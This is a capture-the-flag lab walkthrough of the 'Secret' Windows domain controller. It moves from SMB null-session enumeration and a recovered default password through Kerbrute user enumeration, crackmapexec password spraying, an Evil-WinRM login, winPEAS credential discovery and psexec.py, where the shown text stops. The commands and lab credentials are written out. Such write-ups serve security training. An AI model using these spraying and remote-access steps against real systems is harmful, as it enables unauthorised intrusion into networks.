---
description: https://www.cyberseclabs.co.uk/labs/info/Secret/
---

# Secret

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-46bf6b4b0ac6752aa3d553614138085ea61692c8%2Fimage.png?alt=media)

## Nmap

Started with a simple base scan on all ports. `nmap` was aborting early due to ping probes not responding so I used the `-Pn` switch to bypass host discovery.

```
nmap 172.31.1.4 -p- -Pn

PORT      STATE SERVICE
53/tcp    open  domain
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
49666/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49678/tcp open  unknown
49700/tcp open  unknown
```

## SMB

As usual I check SMB with null authentication to see if we have any quick potential vectors for the initial foothold.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-59d8a26fa71bc0fa865796bab73e8d81ae123874%2Fimage.png?alt=media)

We are able to read the shares with `smbclient` and then able to connect to the share 'Office\_share' without any valid credentials.

Running the `dir` command reveals we have a fair few directories.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5d16b9f9a092e6d421f5f0b9b5d807440c6ebd40%2Fimage.png?alt=media)

I will use `smbget` to recusively download all files which will also output which files are actually downloaded which makes sifting through multiple directories easy.

```
smbget -R smb://172.31.1.4/Office_Share
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9eb988dbe0c9927fd033681404ec9d90e66ed446%2Fimage.png?alt=media)

Reading the contents of the file for Default\_Password.txt shows the value of 'SecretOrg!'.

The directories we downloaded are named after potential users on the system.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-946837b4e222c27817cf62bb22528320da006218%2Fimage.png?alt=media)

This combined with the password value we have discovered could lead to our initial foothold. We should take one of the names and attempt to enumerate the username naming convention. I have created a 'users' file with variations of popular naming conventions.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-17e8cc4931f5ae63f2246167f6d6b7b904b9845a%2Fimage.png?alt=media)

## Kerberos

We can now try `Kerbrute` against the server with this information to see if we get any hits with our mix of usernames. Before we do we need to find the domain name.

As port 3389 is open we can run `nmap` against it with the `-sC` switch for default scripts. This should enumerate the domain name for us.

```
nmap 172.31.1.4 -p 3389 -sC -Pn

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
| rdp-ntlm-info: 
|   Target_Name: SECRET
|   NetBIOS_Domain_Name: SECRET
|   NetBIOS_Computer_Name: SECRET-DC
|   DNS_Domain_Name: SECRET.org
|   DNS_Computer_Name: SECRET-DC.SECRET.org
|   DNS_Tree_Name: SECRET.org
|   Product_Version: 10.0.17763
|_  System_Time: 2020-12-14T19:48:25+00:00
| ssl-cert: Subject: commonName=SECRET-DC.SECRET.org
| Not valid before: 2020-12-13T18:10:36
|_Not valid after:  2021-06-14T18:10:36
|_ssl-date: 2020-12-14T19:48:25+00:00; 0s from scanner time.
```

Now that we have the domain name of 'SECRET.org' we can now run `Kerbrute` to hopefully find any potential usernames.

```
./kerbrute userenum /home/kali/secret/users -d secret.org --dc 172.31.1.4
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-439876166c3ca38bdd6fb46a9a533a593d55fef7%2Fimage.png?alt=media)

{% hint style="info" %}
When running Kerbrute I will add the Administrator and Guest accounts to the usersfile as these accounts normally exist and are a good way to test the returned results are accurate.
{% endhint %}

We see we have the user 'BDover@secret.org'. Now we know the naming convention we can take our usernames and add this variation of known users to the list.

* BDover
* JCakes
* KCurtis
* LFrank

We now run `Kerbrute` again.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-e0fc1cbe03f05e6aba444dcc9dc6ba9d22a948d3%2Fimage.png?alt=media)

All users names are valid and we have the password of 'SecretOrg!' we discovered earlier. We can try spraying this password against the usernames to see if we get a hit.

We can use `crackmapexec` to attempt authentication against SMB.

```
crackmapexec smb 172.31.1.4 -u /home/kali/secret/users -p SecretOrg!
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-758d54482bea5376157dff17cdb3f0f28be19918%2Fimage.png?alt=media)

## Initial Foothold

The credentials `JCakes:SecretOrg!` appear to be valid. We can use these credentials against WinRM as port 5985 is open. We can use `Evil-WinRM` for this.

{% embed url="https://github.com/Hackplayers/evil-winrm" %}

```
evil-winrm -u JCakes -p SecretOrg! -i 172.31.1.4
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-584835aea311a6e84b734d3a918cee1363c1f5bc%2Fimage.png?alt=media)

Looking at `whoami /all` we have nothing too interesting.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a80cc7fcae18da8d276b574fb6cf391ab9408059%2Fimage.png?alt=media)

## Privilege Escalation

I will upload `winPEAS.exe` as per normal procedure to hopefully identify any obvious escalation vectors.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f1ffe1d80b79f88451c794e413f3467b961cfb99%2Fimage.png?alt=media)

Some minutes later we have information regarding AutoLogon credentials.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f9b0a33092be3e698601e9b187463518f628f05d%2Fimage.png?alt=media)

winPEAS has found the following credentials: `secret:vF4$x9#z:-eT~Fy`

We can then try these credentials against WinRM and SMB.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-78268b5ab0577475a1f2425e667c3b1cc11d740c%2Fimage.png?alt=media)

We can also spray the password against known user accounts.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9dddb1d7a65ed0e509aa5449c4f268353e7ebaac%2Fimage.png?alt=media)

I then sprayed the password again with crackmapexec except this time I defined the authentication protocol as WinRM.

```
crackmapexec winrm 172.31.1.4 -u /home/kali/secret/users -p 'vF4$x9#z:-eT~Fy'
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1bd0c386b0035f134fd37e096da823460a857cab%2Fimage.png?alt=media)

Checking the `whoami /all` command we see we have a tonne of privileges and also are a member of the Administrators group.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a80ef4c65ac657f28f2feb04de0d8216d2ab03d4%2FScreenshot_2020-12-14_17-06-16.png?alt=media)

We are not system however, we should attempt to escalate to SYSTEM where possible. We can try Impacket's psexec.py to see if we can spawn a shell as SYSTEM.

```
sudo python2 psexec.py secret.org/bdover:'vF4$x9#z:-eT~Fy'@172.31.1.4
```
